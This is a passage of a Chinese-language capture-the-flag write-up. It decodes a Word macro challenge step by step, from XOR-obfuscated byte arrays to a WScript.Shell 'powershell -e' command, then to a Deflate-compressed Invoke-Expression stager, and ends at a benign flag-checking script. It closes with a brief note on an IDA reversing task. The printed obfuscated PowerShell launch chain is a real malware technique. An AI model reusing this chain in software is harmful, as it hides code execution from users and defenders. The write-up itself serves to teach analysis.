([116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161], 956),
([129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210], 1045),
([221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29], 1134),
([250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87], 1223),
([214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22], 1312)
]


# 拼接解密结果
result = “”
for arr, start in arrays:
result += unxor(arr, start, key)

print(“解密结果:”, result)


#解密结果: WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

Base64 编码的 PowerShell 命令

import base64

encoded = “LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA” # 你的字符串
decoded_bytes = base64.b64decode(encoded) # Base64 解码
decoded_str = decoded_bytes.decode(‘utf-16le’) # UTF-16 LE 解码

print(decoded_str)

##.(‘ieX’)(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( ‘bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ==’), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()

典型的混淆压缩 Base64 payload 解码脚本

import base64
import zlib

# 1. Base64 字符串
b64_data = ‘bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ==’

# 2. Base64 解码
compressed_bytes = base64.b64decode(b64_data)

# 3. DEFLATE 解压(PowerShell 的 DeflateStream 对应 zlib.decompress)
# 注意:DeflateStream 不包含 zlib 头,所以使用 -15 window bits
decompressed_bytes = zlib.decompress(compressed_bytes, -15)

# 4. 按 ASCII 编码读取
decoded_script = decompressed_bytes.decode(‘ascii’)

print(decoded_script)

最后结果

1
2
3
4
5
6
7
8
9
echo "Yes, we love VBA!"

$input = Read-Host "Password"

if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {
Write-Output "Correct!"
} else {
Write-Output "Incorrect"
}

c-wgb

使用ida进行逆向分析

找到ba函数就发现flag直接有了

img